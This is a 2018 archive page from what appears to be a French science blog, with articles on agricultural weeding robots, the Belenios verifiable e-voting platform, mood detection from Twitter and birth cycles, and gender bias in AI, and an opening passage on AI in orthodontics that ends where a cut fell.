Année : 2018

  • Et les robots binaient…

    On entend de plus en plus souvent parler de robotique, et dans la plupart des cas, elle est mise en œuvre dans des environnements industriels ou médicaux. Et pourtant, il existe beaucoup d’autres secteurs où les robots sont désormais réalités. Dans cet article, nous vous présentons un exemple dans le domaine de l’agriculture. Serge Abiteboul & Tom Morisse

    De l’asperge aux vignes

    L’aventure de Naïo Technologies commence en 2010, pendant la Fête de l’asperge de Pontonx-sur-l’Adour, dans les Landes, ça ne s’invente pas ! Gaëtan Séverac, l’un des deux cofondateurs, discute avec un agriculteur. Ce dernier est confronté à un épineux dilemme lors des récoltes : soit faire appel à une main d’œuvre saisonnière conséquente, mais difficile à trouver, soit utiliser des machines qui ramassent tout, mûr ou pas.

    Gaëtan fait part de cette rencontre à Aymeric Barthes, un camarade de l’IMERIR, une école d’ingénieurs de Perpignan justement spécialisée dans la robotique. Ils se prennent de passion pour ce défi technique pas évident à l’époque, car le lien entre robotique et agriculture pouvait alors paraître bien lointain. On ne connaissait pas encore les tracteurs bourrés de capteurs, d’électronique, et de programmes informatiques.

    OZ2, Naïo Technology

    En parallèle de leurs fins d’études respectives, un apprentissage pour Aymeric et une thèse sur la communication des robots dans l’espace à l’ONERA pour Gaëtan, ils conçoivent leurs premiers prototypes. Le projet prend de l’ampleur et en novembre 2011, ils créent la société Naïo Technologies. Ils ont légèrement transformé le projet : comme réaliser un robot récolteur d’asperges nécessiterait un budget trop conséquent, ils se concentrent sur le désherbage, en visant d’abord de petits maraîchers diversifiés, surtout présents en circuits courts. Aboutissement de leurs efforts, le robot désherbeur Oz est commercialisé en 2013.

    6 ans plus tard, la jeune pousse a bien grandi : l’équipe compte aujourd’hui une trentaine de personnes. La moitié se concentre sur la R&D logicielle et matérielle, un quart sur le support client, et le reste sur l’administration et la production. Naïo Technologies s’occupe de la conception et de l’assemblage dans son propre atelier. On pourrait s’attendre à des prestataires en Chine, mais ils choisissent le made in France plutôt local ; ils ont bien raison : comment résister au charme de villes telles que Montauban, Castres, ou encore Nantes ?

    Dino, Naïo Technology

    Si Naïo Technologies est toujours focalisée sur le désherbage, la gamme s’est élargie pour apporter des solutions à d’autres pans de l’agriculture. Ainsi, aux côtés d’Oz, on trouve  aujourd’hui Dino, robot enjambeur pour des exploitations légumières de plus grande taille, et Ted, qui accomplit son office au cœur des vignes. La startup compte à ce jour une centaine de robots en circulation, essentiellement des modèles Oz et quelques Dino, dont, cocorico oblige, déjà 15% du parc à l’international.

    Sous le capot

    Leurs robots sont équipés de nombreux capteurs : centrale inertielle (équivalent de l’oreille interne chez les humains), un LIDAR (qui, à la manière d’un radar mais cette fois-ci via un laser, sonde son environnement avec une ouverture de vision à plus de 200°), deux caméras en stéréo, pour détecter les couleurs et percevoir le monde en 3D, et enfin un GPS précis à 3 cm près.

    Fort de ses 1m50 x 50cm d’envergure et de ses 100 kilos, Oz est spécialisé dans le binage. Ce qui, pour le néophyte, signifie retourner la terre sur 2 à 3 cm, pour désherber. Paradoxalement, Oz est incapable de reconnaître les mauvaises herbes : on bine précisément pour ne pas leur laisser le temps de sortir du sol. Ce que Oz perçoit en revanche, ce sont les cultures dont il passe entre les rangées. En fait, chaque robot construit sa propre carte de l’exploitation au fur et à mesure. Et si la culture n’a pas encore émergé, restant du coup indistincte de la terre à désherber, l’agriculteur doit passer en guidage manuel.

    Tien Tran, Naïo Technology

    Il faut savoir gérer les situations difficiles et imprévues. D’abord, le robot doit détecter la présence d’obstacle(s). Il peut soit l’éviter si la place le permet, soit s’avancer jusqu’au contact. S’il détecte que l’obstacle est rigide, il bippe très fort, pour faire fuir l’animal au cas où. Ensuite, il doit gérer sa propre « désorientation ». Si la centrale inertielle décèle un problème, par exemple après un choc en roulant sur une pierre ou si les caméras détectent que le robot se trouve dans la culture, Oz s’arrête et il prévient son patron (l’agriculteur) par SMS.

    Si un problème est survenu, Naïo Technologies peut récupérer les données d’observation (en informatique, on parle de logs) de la dernière heure d’usage du robot, pour mieux la rejouer sur simulateur. L’analyse de ces données pourrait permettre d’ajouter de nombreuses fonctionnalités, notamment en s’appuyant sur des techniques d’apprentissage automatique. Mais ce n’est pas encore à l’ordre du jour…

    Malgré tous les garde-fous prévus, des situations cocasses peuvent tout de même se produire. Aymeric raconte avec le sourire : « L’exploitation d’un client était entourée de fossés, et on se disait que le pire qui puisse arriver au robot, c’était de se retrouver dedans. Pas de bol. Le robot a fini sur la route. » Il s’est trouvé dans la rangée de culture qui menait vers le seul pont qui y conduisait. Le robot a cru qu’il était juste dans un trou de culture et il a donc continué son bonhomme de chemin pour retrouver cette culture. Il a bien fini par reconnaître qu’il n’y avait plus rien à biner mais il était déjà au beau milieu de la chaussée. Si vous croisez un robot bineur sur une départementale, dites-vous qu’il ne se balade pas ; il est juste perdu !

    Une écologie pragmatiste

    Trois avantages sont avancés pour convaincre les agriculteurs de faire appel à leurs robots : l’amélioration des conditions de travail, l’accroissement de la rentabilité et l’impact vertueux sur l’environnement par réduction de l’utilisation des herbicides. En fait, les clients de Naïo Technologies recherchent surtout jusqu’ici un gain de temps ou une réduction de la pénibilité de leur travail… justement parce que nombre d’entre eux sont déjà installés dans l’agriculture bio ou raisonnée.

    Les dirigeants de la startup nous ont paru soucieux des impacts écologiques et sociétaux de leur technologie. Nous avons cuisiné Aymeric Barthes car les sorties de route potentielles ne manquent pas : les robots peuvent être utilisés pour répandre des produits chimiques,  la mécanisation peut conduire à la disparition d’emplois, et favoriser une concentration toujours plus forte des exploitations dans les mains de ceux qui possèdent des machines. Naïo Technologies ne risque-t-elle pas de vendre son âme au diable ?

    9504, Naïo Technology

    Réponse d’Aymeric : « Nous croyons à une agriculture plus saine. Lorsque nous avons commencé, nous nous sommes posés la question de savoir si nous ne faisions pas que déplacer le problème. Notre vision est que la marche du progrès est inéluctable  alors autant y participer, en promouvant nos valeurs, et en proposant aux agriculteurs une alternative aux produits chimiques. Et jusqu’à maintenant, aucun de nos clients n’a licencié qui que ce soit. »

    Il faut reconnaître que Naïo Technologies fait vivre ses valeurs : management consultatif, maintien d’une version pédagogique de leurs robots, ouverture de leur capital lors de campagnes de financement participatif sur Wiseed, ou encore organisation du Forum international de la robotique agricole, en donnant également de la visibilité à ses concurrents.

    Perspectives

    Plusieurs axes de développement s’offrent aujourd’hui à la société. Tout d’abord la création de robots adaptés à d’autres cultures, par exemple d’autres cultures spécialisées. Ensuite, il faudrait permettre la collaboration entre plusieurs robots, un besoin qui n’existait pas chez les premiers clients, des petites exploitations, mais qui se fait de plus en plus ressentir. D’autres secteurs pourraient être intéressés par leur expertise robotique comme le désherbage de parc électrique ou, plus inattendu, le carottage pour des stations de ski. Dans ce dernier cas, les résultats ont été pour le moins mitigés, le robot dévalait les pentes tout schuss malgré ses chenilles. On pourrait citer d’autres sollicitations surprenantes auxquelles ils n’ont pas donné suite : un robot-ramasseur de balles de golf, ou encore un robot-carreleur. Nous aimerions aussi disposer de robot qui s’occupe des plantes du balcon ; pensons aussi aux agriculteurs-citadins.

    SpaceX Falcon 9 FLT-002 101208

    S’il y a bien une application qui fait rêver les deux fondateurs, c’est la conquête spatiale. Les deux fondateurs ont tenté de contacter Elon Musk, mais sans succès. Ils ne désespèrent pas d’envoyer un jour leurs robots dans l’espace. Après tout, le comble serait bien pour eux de se débiner.

    Serge Abiteboul, Inria & ENS et Tom Morisse, Fabernovel

  • (a voté) Euh non : a cliqué

    Vous devez organiser un vote, pourquoi ne pas le réaliser de manière électronique ? Malheureusement, les systèmes proposés aujourd’hui  ne sont pas sûrs et c’est compliqué… Alors, pourquoi ne pas prendre une plateforme libre proposée par des chercheurs et éviter ainsi plusieurs écueils liés au vote électronique. 3 chercheurs spécialistes de ce domaine qui travaillent au LORIA à Nancy nous parlent du sujet. Pierre Paradinas

    Voter électroniquement avec Belenios

    L’objet de ce billet est d’annoncer un nouveau-venu dans le monde du vote électronique : la plateforme de vote Belenios. Cette plateforme, libre et gratuite, permet d’organiser une élection en quelques clics. Lancée il y a un peu plus d’un an, elle a déjà permis d’organiser environ 200 élections, essentiellement dans le milieu académique : élection des membres d’un conseil de laboratoire, d’un centre de recherche, d’un comité universitaire, élection de responsables d’un groupe de travail, etc.

    Nous évoquons ci-dessous quelques éléments de contexte pour comprendre le positionnement de Belenios et encourager les lecteurs non seulement à l’utiliser mais surtout à se poser des questions lors des élections dématérialisées auxquelles ils sont invités à participer.

    Promouvoir plus de transparence

    Le vote électronique, de manière générale, mais de façon encore plus criante en France, n’est pas assez transparent. Quand on vote par Internet, comme cela se fait de plus en plus souvent, on n’a aucune information sur les algorithmes utilisés. Tout au plus a-t-on les noms des expert·e·s ayant étudié et validé la solution. Sans remettre en cause ce nécessaire travail d’expertise par un tiers, nous considérons que le secret de l’algorithme utilisé va à l’encontre d’une des propriétés fondamentales du vote électronique : la vérifiabilité. Chaque votant doit pouvoir vérifier que son bulletin est bien présent dans l’urne et chacun doit pouvoir vérifier que le résultat de l’élection correspond aux bulletins dans l’urne. On souhaite ainsi reproduire la situation d’un vote traditionnel, même si dans le cas du vote électronique, certaines vérifications ne peuvent provenir que de preuves mathématiques difficiles à lire pour le commun des mortels. Cette propriété de vérifiabilité, ainsi que d’autres propriétés requises ou souhaitables d’un système de vote électronique ont déjà été décrites dans un précédent billet. Belenios est un exemple parmi d’autres (comme Helios dont il est une variante) d’un système vérifiable dont la spécification est publique. Nous souhaitons ainsi convaincre les acteurs du vote électronique (vendeurs de solutions, donneurs d’ordre, voire la CNIL) que la transparence n’est pas trop demander : on a largement atteint le stade où c’est techniquement faisable sans mettre en danger le secret du vote, au contraire.

    Du vote électronique aux présidentielles ?

    Non. Ce n’est pas une bonne idée d’utiliser le vote électronique pour les grands rendez-vous politiques. Le vote électronique a fait des progrès, mais à l’heure actuelle il n’offre pas d’aussi bonnes garanties de sécurité qu’un scrutin papier à l’urne, tel qu’il est organisé en France pour les grandes élections. Parmi les propriétés très délicates à mettre en œuvre dans le cas du vote électronique figure la résistance à la coercition. Comment garantir le libre-choix du vote lorsque l’isoloir devient virtuel et que le vote s’effectue depuis chez soi ? Des solutions académiques existent mais elles restent incomplètes ou difficilement mises en pratique. Toujours dans le même précédent billet se trouve une discussion plus détaillée sur les limites du vote électronique. Le protocole Belenios n’échappe pas à ce constat. Il n’y a pas de protection contre la coercition ou la vente de vote (il suffit de vendre son matériel électoral). Il n’en reste pas moins que Belenios et le vote électronique en général est une alternative intéressante en remplacement du vote par correspondance qui n’offre souvent que de piètres garanties de sécurité.

    La plateforme publique Belenios

    Dans l’isoloir…

    La sécurité a un prix. Un élément incontournable est de répartir la confiance entre plusieurs personnes : donner trop de pouvoir à une unique personne (par exemple celle qui administre le serveur) signifie qu’on offre la possibilité à un·e attaquant·e de faire pression sur celle-ci pour changer le résultat, voire dévoiler les votes de chacun. Utiliser Belenios nécessite donc l’implication de plusieurs personnes distinctes qui vont se partager les rôles. Ainsi, la clef de déchiffrement sera répartie entre plusieurs assesseur·e·s, et il faudra les corrompre tou·te·s pour déchiffrer les votes individuels. Nous encourageons d’ailleurs les lecteurs à se poser la question à chaque scrutin électronique auquel ils sont confrontés : qui possède les clefs de déchiffrement, comment ont-elles été générées, et comment sont-elles utilisées lors du dépouillement ?

    Pour finir, nous insistons sur le fait que la plateforme Belenios, hébergée au laboratoire LORIA de Nancy, n’est qu’une plateforme de démonstration fournie « en l’état », sans garantie de disponibilité de fonctionnement, même si nous faisons de notre mieux. Dans le même esprit, chaque élection est limitée à 1000 électeurs. Cependant, tout le code est libre, et il est tout à fait possible de déployer sa propre instance chez une société d’hébergement offrant des garanties de disponibilité 24/7 et des services de résistance au déni de service.

    Dans bien des contextes à enjeu modéré et où le report de l’élection n’est pas dramatique en cas d’indisponibilité imprévue du serveur, notre plateforme peut rendre service, et offrir une solution à l’état de l’art, en remplacement notamment du vote par correspondance ou de systèmes non prévus pour le vote (LimeSurvey, pour ne citer qu’un seul exemple). Les remarques et les contributions sont les bienvenues !

     Véronique Cortier (Directrice de recherche au CNRS) Pierrick Gaudry (chercheur au CNRS) et Stéphane Glondu (Ingénieur de recherche Inria).

  • Prédire l’humeur des populations

    En provenance de Bruxelles, Charles Cuvelliez (École Polytechnique de Bruxelles, Université de Bruxelles) et Jean-Jacques Quisquater (Ecole Polytechnique de Louvain, Université de Louvain) nous apportent un éclairage sur un article publié dans Nature et qui apporte une réponse à une vielle question de biologie humaine : « pourquoi les pics de naissance apparaissent-ils toujours en septembre ? « . Des chercheurs montrent aussi qu’il est possible de détecter l’humeur du moment d’un pays, d’une communauté ; une pratique sans doute déjà à l’œuvre dans les agences de com politique. Pierre Paradinas

    Qui eût cru que Google et Twitter et la prestigieuse revue Nature allaient donner une réponse à une question vieille comme le monde : les variations cycliques des naissances, avec un pic en septembre pour l’hémisphère nord, sont-elles dues à un facteur biologique ou culturel ? C’est souvent le facteur biologique qui est mis en avant ; en effet, septembre correspond, 9 mois plus tôt, à Noël, une période propice à cette explication : ce sont les jours les plus courts et notre horloge biologique nous inciterait à la reproduction comme beaucoup d’animaux à la même période. Si cette hypothèse est vraie, les pics de naissance ne devraient pas avoir lieu à la même époque dans l’hémisphère nord et dans l’hémisphère sud. Et ces pics ne devraient pas se manifester à l’équateur. Si l’hypothèse biologique prévaut, c’est qu’elle se base sur des statistiques facilement disponibles et fiables dans l’hémisphère nord : taux de naissance, bien sûr, mais aussi taux de transmission des maladies sexuellement transmissibles, vente de préservatifs, etc.

    Source Wikimedia – Pereslavl – CC BY-SA 3.0

    Avec Google et Twitter, on peut accéder à des données vraiment mondiales prêtes à l’emploi. Il fallait y penser. Une coopération internationale menée par l’école d’informatique de l’université d’Indiana aux états-unis a eu recours à Google Trends, site qui établit une cartographie des recherches faites sur Internet. Cette équipe a pris comme mot clé, le mot « sexe » comme indication d’un état d’esprit nous amenant à une attitude propice à la reproduction (et… au reste). Que constatent les chercheurs ? Sur les 10 ans de retour en arrière possible avec Google Trends, le pic de recherches avec le mot « sexe » se produit à la Noël. Ce n’est pas dû, expliquent les chercheurs, au temps libre supplémentaire que cette période offre puisqu’ils ont normalisé les statistiques sur le volume de recherche plus grand à cette époque de l’année. Ce pic n’existe pas non plus sur d’autres périodes de vacances comme Thanksgiving ou Pâques. Plus intéressant : tant l’hémisphère sud que l’hémisphère nord montrent ce pic à la même période. Il n’y aurait donc pas d’effet biologique lié à la saison qui aurait alors engendré un tel pic aux alentours du 21 juin en Australie.

    Les chercheurs ont alors étudié le même pic dans les recherches Google pour des pays non chrétiens. Ils ont découvert qu’il apparaissait lors de deux fêtes culturellement importantes dans d’autres communautés : Eid al Fitr (la fête de la fin du Ramadan) et Eid al Adha (la fête du sacrifice). Et comme ces fêtes n’ont pas un calendrier fixe, ces chercheurs ont constaté que les pics les suivaient. C’est donc clair : les pics de recherche liés au mot clé sexe sont reliés tant chez les chrétiens que chez les musulmans à des fêtes culturelles d’origine religieuse. Pour les chrétiens, c’est d’autant plus frappant que la corrélation augmente lorsqu’on exclut les 10 pays chrétiens qui fêtent Noël à une autre date que le 25 décembre (pays orthodoxes).

    Peu de lien avec le sexe

    Pourtant ces fêtes religieuses n’ont aucune connotation sexuelle. C’est même contre-intuitif. Les chercheurs ont alors tenté de relier ces fêtes à un état d’esprit collectif, apaisé, qui amènerait à des bonnes dispositions en la matière, une sorte de vérification de l’adage : faites l’amour pas la guerre. Ils ont eu recours, autre originalité de leurs travaux, à Twitter et à l’analyse des messages dans 7 pays : Australie, Argentine, Brésil, Chili, Indonésie, Turquie et les USA. Ce ne sont sans doute pas les mêmes populations qui auront fait les recherches sur Google et qui auront twitté, mais l’échantillon des deux côtés est suffisamment vaste. Sur Twitter, les chercheurs ont examiné la présence de mots appartenant au lexique ANEW, Affective Norms for English Words : il s’agit de 1034 mots réputés porteurs de sentiments affectifs forts suivant trois dimensions qui permettent d’identifier si l’auteur du message est triste ou heureux, calme ou excité, sous contrôle. Le lexique ANEW a notamment été traduit en portugais et en espagnol. Bref, une analyse ANEW des messages Twitter est capable de donner l’humeur générale d’une population. Et bien, elle change pendant les vacances : il ne faut pas être grand savant pour comprendre que l’état général d’humeur puisse évoluer vers « heureux » à ces périodes. Encore fallait-il le prouver, ce qu’ils ont fait.

    Cette figure représente un nuage de mots décrivant des émotions : heureux, amoureux, libre, etc.
    Que l’intérêt pour le sexe soit relié à un facteur culturel est une chose, mais nous restons tout de même des entités biologiques. Il doit donc y avoir un facteur biologique sous-jacent. Et les auteurs d’avancer finalement ce que nous savons tous : un état dépressif ne nous amène pas vraiment à une attirance pour le sexe. Une nourriture plus abondante, typique de cette période, a l’effet inverse, d’après plusieurs études sauf que d’autres fêtes d’abondance comme Thanksgiving ne montrent pas de tels pics. Non, il faut se dire que Noël et Eid al Fitr sont porteurs de seuils psychologiques et symboliques particuliers.

    Prédire, oui, contrôler, non

    Au-delà du sujet de l’étude, l’utilisation de Twitter pour décrire l’humeur générale des masses, sa corrélation avec des comportements de population ont de quoi faire peur. Il serait donc possible de prédire les révolutions ou le meilleur tempo pour faire passer des réformes impopulaires, bref à défaut, d’assujettir les masses, en tout cas, les connaitre. Il se murmure que des agences de communication spécialisée pour les hommes et femmes politiques n’ont pas attendu. Finalement pourquoi pas ? L’importance de certaines réformes, certaines décisions cruciales ne valent-elles pas qu’elles soient prises indépendamment de mouvements d’humeur passagers. Les influencer serait plus condamnable. Un scénario pour black mirror ?

    Charles Cuvelliez (École Polytechnique de Bruxelles, Université de Bruxelles) et Jean-Jacques Quisquater (École Polytechnique de Louvain, Université de Louvain)

    Pour en savoir plus :

    Human Sexual Cycles are Driven by Culture and Match Collective MoodsIan B. Wood, Pedro L. Varela, Johan Bollen, Luis M. Rocha & Joana Gonçalves-Sá, Nature, 21 décembre 2017

  • L’IA est–elle sexiste, elle aussi ?

    A l’occasion de la Journée Internationale des Droits des Femmes, nous nous intéressons cette année non aux informaticiennes, mais aux usagères des technologies d’Intelligence Artificielle : devront-elles, ici comme ailleurs, affronter un sexisme malveillant ? Comme d’habitude, plus, moins ? Et surtout, pourquoi ? Au détour de cette question certes un peu bateau, Anne-Marie Kermarrec nous offre à la fois un panorama des différentes sources de biais qu’on trouve dans les technologies informatiques et une réflexion sur l’IA, miroir de nos propres sexismes et autres déplorables habitudes. Binaire

     

    L’Intelligence Artificielle (IA pour les intimes) a le vent en poupe et est partout : elle traduit vos documents, guide vos recherches, vous recommande des films, vous suggère quoi manger, quand courir, nourrit votre fil d’actualité, vous aide à trouver un job, à vous garer, à vous marier, à vous soigner, à vous informer et ce n’est que le début. Avec tout cela, l’IA est autant un sujet de fantasme que d’incertitude, d’optimisme que d’inquiétude, le monde oscille entre admiration et crainte, s’épate de voir un programme apprendre « tout seul » comment gagner aux échecs, s’inquiète de savoir quels métiers vont disparaître et à quel point nous allons être manipulés, aidés, augmentés et j’en passe.

    Dans cet enchevêtrement de questionnements et de doutes, d’aucun peut s’interroger sur la capacité de l’IA à corriger les maux de notre société. Ou est-ce qu’au contraire, elle reproduit voire amplifie les travers d’un monde rongé par les inégalités en tous genres ? Si ces biais potentiels peuvent concerner de multiples volets de notre société, inégalités sociales, raciales, que sais-je, je ne m’intéresse en cette journée internationale du droit des femmes 2018 qu’aux inégalités hommes/femmes que peut continuer à colporter l’IA. Est ce que nos dernières inventions numériques continuent bien gentiment de véhiculer le sexisme ou est ce qu’au contraire tenons nous là un puissant remède aux stéréotypes de genre ?

    L’IA est-elle neutre ?

    L’IA est un « vieux » domaine académique, à l’échelle temporelle de l’informatique, qui doit son succès récent à la présence de données massives combinées à des capacités de calcul gigantesques. Plus précisément, l’IA repose sur trois éléments essentiels : des algorithmes, des données et des ordinateurs. On peut accorder aux ordinateurs, dont la taille a diminué au fil des années à mesure que leur puissance de calcul a augmenté qu’ils adoptent un principe « matériel » intrinsèque de neutralité et ne peuvent être taxés de biais. Qu’en est-il des algorithmes et des données ? Les deux peuvent être biaisés à des degrés arbitraires. Et si on parle tant de la transparence des algorithmes aujourd’hui, c’est que justement on craint ces biais, pour une large part parce qu’ils sont algorithmiques. La plate-forme APB en est un excellent exemple, qui a été jugée beaucoup plus sévèrement qu’un autre algorithme, plus ancien, mais mis en œuvre par les humains qui consistait à faire la queue et à accepter les étudiants sur la base du premier arrivé premier servi. Pas tellement plus juste qu’une sélection aléatoire algorithmique en dernier recours pourtant.

    Transparence des algorithmes

    Les données sont-elles biaisées ?

    Mais il est aussi tout aussi légitime de parler de besoin de transparence des données. Rappelez vous Tay, un bot, planqué derrière une image de jeune fille, lancé par Microsoft en 2016, qui imitant un millenial se retrouve après quelques tweets à tenir des propos sexistes comme gamergate is good and women are inferior, alors même que la promesse du géant américain était que, plus Tay s’entretiendrait avec des humains sur les réseaux sociaux, plus son « intelligence » s’aiguiserait. Même si Tay a été manipulée (et ça n’a pas été très difficile du reste), ce comportement est simplement dû au fait que les données sur lesquelles elle avait été entrainée sont juste un reflet navrant de la société. Comme souvent, les algorithmes ont juste un peu accéléré le mouvement.

    Plus récemment la jeune doctorante du MediaLab du MIT, Joy Buolamwini, en étudiant plusieurs algorithmes de reconnaissance faciale a constaté qu’ils marchaient très bien sur… les hommes blancs. Pourquoi ? Simplement parce que ceux-ci sont beaucoup plus représentés dans les banques de données utilisées par l’apprentissage d’une part et que d’autre part, les benchmarks pour les évaluer, c’est à dire les ensembles de tests, sont tout aussi biaisés. Pour simplifier, un algorithme de reconnaissance faciale est considéré comme bon par la communauté, s’il obtient de bonnes performances sur ces benchmarks, c’est-à-dire qu’il est capable de reconnaître des hommes blancs avec une forte probabilité.

    Ainsi, on peut assez facilement imaginer qu’un algorithme qui guide dans le choix des formations proposera plus naturellement à une jeune fille de faire médecine ou du droit et à un jeune homme de tenter une prépa scientifique s’il repose uniquement sur les statistiques et corrélations des dix dernières années. On comprend aussi pourquoi une femme négociera moins bien son salaire qu’un homme à poste équivalent car si elle interroge  son application favorite sur le sujet, les statistiques sont claires et donc les données utilisées pour rendre l’algorithme intelligent sont  évidemment biaisées. De fait les résultats de l’algorithme aussi.

    Et les exemples sont nombreux. Ainsi, des expériences lancées à l’université de Boston ont montré que des algorithmes d’intelligence artificielle, entrainés sur des textes issus de Google news, à qui on demandait de compléter la phrase : Man is to computer programmers as woman is to x,  répondaient homemaker [1]. Sans commentaire. Dans une autre étude [2], il est encore montré que les collections d’images utilisées par Microsoft et Facebook pour les algorithmes de reconnaissance d’images associent les femmes aux cuisines et au shopping quand le sport est plutôt relié aux hommes. Et évidemment, les algorithmes, non seulement reproduisent ces biais, mais les amplifient, accentuant au cours du temps ces associations. De même, lorsque les traducteurs automatiques traduisent une phrase d’un langage sans genre à un langage ou le genre doit être explicite, les biais sont évidents. They are programmers sera naturellement traduit en français par « ils sont programmeurs » et They are nurses par « elles sont infirmières ». Essayez vous-même comme je viens de le faire !

    Deux visages - sculptureEt si les algorithmes pouvaient rectifier le tir ?

    Les exemples précédents sont autant d’exemples où les machines sont neutres, les algorithmes sont neutres et l’IA résultante est biaisée uniquement car les données le sont.

    Encore une fois il est difficile de biaiser une machine, mais un algorithme est conçu et développé par des informaticien.ne.s qui peuvent en faire à peu près ce qu’ils en veulent. Si l’IA a été conçue initialement pour imiter l’ « intelligence » humaine, avec des algorithmes qui tentaient de reproduire au plus près les comportements humains, reflétés par les données, son emprise est telle aujourd’hui que l’on peut imaginer saisir cette opportunité pour rationaliser cette « intelligence » et surtout lui éviter de reproduire ces biais dont la société n’arrive pas à se débarrasser naturellement. Ainsi les algorithmes ne représenteraient plus une menace mais pourraient devenir les vrais Zorros du 21ème siècle.

    Est-ce si simple quand on compte autant d’obstacles éthiques que techniques ?  Tout d’abord, les industriels aujourd’hui n’ont pas tous accusé réception de ce problème de biais [3]. En fait, détecter les biais est une première étape qui n’est pas complètement naturelle car nous sommes malheureusement très habitués à certains d’entre eux. Quand bien même on observe ces biais, les traiter n’est pas non plus nécessairement évident. Imaginons un algorithme de ressources humaines qui doit sélectionner 10 personnes pour un entretien parmi n candidats à un poste de développeur Web. Il est clair que si on laisse faire un algorithme d’apprentissage classique, compte tenu de la disproportion notoire femmes/hommes de ces filières, il risque de sélectionner 10 hommes. Imaginons maintenant que nous forcions de manière explicite, le nombre de candidates à être supérieur ou égal à 5, ou de manière probabiliste en augmentant la probabilité de retenir une femme, malgré le biais des données. Ceci est alors équivalent à instaurer un quota, stratégie sur laquelle de nombreux comités n’ont pas réussi à converger indépendamment d’une mise en œuvre algorithmique.

    Techniquement, il n’est pas simple de garantir la validité des modèles et leur évaluation si on « nettoie » les données pour éviter les biais. En outre le problème de certains algorithmes d’intelligence artificielle aujourd’hui est qu’on a du mal à expliquer leurs résultats, c’est le cas de l’apprentissage profond (Deep Learning), selon les experts du domaine eux-mêmes. On sait et on observe que ces algorithmes fonctionnent plutôt bien, mais sans complètement comprendre pourquoi. C’est d’ailleurs l’un des prochains défis scientifiques du domaine. Quels seraient donc alors les paramètres à ajuster pour que le tout fonctionne de manière non biaisée ?

    Un autre problème concerne la détection et la génération des biais : la sous-représentation des femmes dans le domaine est telle que les algorithmes qui ressemblent à leurs concepteurs, véhiculent leur mentalité, leurs biais et donc leur culture masculine à 90%. De là à les taxer de sexisme, c’est peut-être y aller un peu fort mais clairement notre société est si « genrée » aujourd’hui qu’il n’est pas exclu que le manque de diversité dans ce domaine soit un frein à la détection et l’évitement de biais. Ceci ne fait que confirmer le fait que nous avons besoin de plus de femmes en informatique, également pour le bien de nos algorithmes.

    Pour conclure, il est assez clair que si l’IA cherche à modéliser le monde au plus près, elle absorbera ses travers et les normes culturelles biaisées de tous cotés et en particulier concernant les inégalités hommes femmes, voire les exacerbera en les renforçant, grâce à ces immenses capacités à calculer des corrélations en tous genres et surtout les plus présentes. Il est donc urgent de saisir cette opportunité algorithmique pour soigner notre société. Ce n’est pas simple mais un grand nombre de scientifiques sont d’ores et déjà sur le front !

    Anne-Marie Kermarrec, Mediego, Inria
    @AMKermarrec

    Pour aller plus loin :

    1. http://www.telegraph.co.uk/news/2017/08/24/ai-robots-sexist-racist-experts-warn/
    2. http://www.newsweek.com/2017/12/22/ai-learns-sexist-racist-742767.html
    3. https://www.technologyreview.com/s/608248/biased-algorithms-are-everywhere-and-no-one-seems-to-care/

     

  • Orthodontiste numérique

    Les progrès effectués dans les domaines de l’intelligence artificielle et des sciences informatiques auront un impact majeur sur la pratique médicale au cours des décennies à venir. Mais qui mieux qu’un professionnel de la médecine pour en parler. Laissons la parole à Masrour Makaremi, qui partage ici sa vision de professionnel sur ce sujet. Thierry Viéville et Pascal Guitton .

    Ce constat fait l’objet d’un ample consensus, comme en témoigne par exemple l’investissement de milliards de dollars que les géants du numérique déploient au sein de leurs filiales santé. La précision d’un diagnostic radiologique effectué par un logiciel reposant sur l’apprentissage profond (ou « deep learning », voir par exemple l’article d’Interstices sur ce sujet) se révèle quantitativement supérieure à celle des meilleurs experts en radiologie ; ce qui n’est pas sans rappeler la victoire emportée par le programme AlphaGo sur Lee Sedol, le champion du monde de go.

    Notre médecine subordonnée aux algorithmes ?

    Cela conduit des personnes comme le docteur Laurent Alexandre a promulguer un courant de pensée qui s’apparente au néo-luddisme [1] prévalant de nos jours parmi le corps médical. Selon ce spécialiste des révolutions technologiques et de leurs enjeux, l’enrichissement incessant des compétences des robots comporte le risque majeur « qu’en 2030 le médecin soit subordonné à l’algorithme, comme l’infirmière l’est aujourd’hui au médecin » [2]. Tout en ayant le mérite d’amener la réflexion sur les enjeux de l’interface homme-machine (IHM) dans les pratiques médicales, les prédictions afférentes aux stratégies d’automatisation que les multinationales du numérique veulent appliquer au domaine de la santé sont génératrices de défiance et d’angoisse chez de nombreux praticiens.

    La spécialité médicale que j’exerce, l’orthopédie dento-faciale (orthodontie), est dans l’œil du cyclone : elle serait vouée à mourir à petit feu, aucun praticien n’arrivant « à la cheville » d’un système basé, entre autres, sur l’intelligence artificielle (IA). J’ai donc voulu relever mon regard vers mon futur bourreau et j’ai fait une chose assez rare : après 10 années d’activité professionnelle, je suis retourné sur les bancs de l’université par le biais d’un Master 2 de neurosciences computationnelles. Après cette année d’étude, je n’ai jamais été aussi optimiste quant à la plus-value du clinicien. Aux antipodes du mythe de la singularité technologique [3], je suis persuadé que la bonne symbiose entre la médecine et l’IA est en quête d’une complémentarité [4] mobilisant une stratégie d’augmentation (par le numérique) de l’activité médicale, résolument distincte d’une stratégie d’automatisation, pour reprendre les termes de Davenport et Kirby. Cette dernière « part des tâches de base qui constituent un poste donné, et vient les soustraire à travers le déploiement d’ordinateurs qui reprennent une à une ces tâches effectuées par des humains dès que celles-ci peuvent être codifiées » [5]. Cependant, tout en assurant « des économies en termes de coûts », ce mouvement vers l’automatisation « circonscrit notre pensée dans un cadre délimité par les paramètres du travail tel qu’il est accompli aujourd’hui » [5].  En revanche, l’augmentation « signifie que l’on part de ce que les humains font aujourd’hui pour arriver à comprendre la manière dont ce travail pourrait être approfondi, et non diminué, par une utilisation plus poussée des machines » [5].

    Pour illustrer les implications possibles de chacune de ces deux stratégies dans le domaine de l’orthopédie dento-faciale, considérons l’exemple suivant [6]. Une empreinte 3D des maxillaires effectuée au moyen d’un scanner intra-oral est traitée par un algorithme qui, à partir de ce modèle géométrique, va positionner les arcades dentaires dans une position idéale en fonction de l’anatomie dentaire du patient. À partir de ce résultat numérique est ensuite conçu, à l’aide d’un procédé de conception et fabrication par ordinateur, un dispositif orthodontique (par exemple une bague ou une gouttière) parfaitement adapté au patient.  Sa mise en place technique ne demande qu’une compétence clinique limitée. Dans ce schéma thérapeutique, la valeur ajoutée de l’orthodontiste, aussi bien technique qu’intellectuelle, se réduit, de prime abord, à un rôle minime.

    Où on voit que ce n’est pas si simple

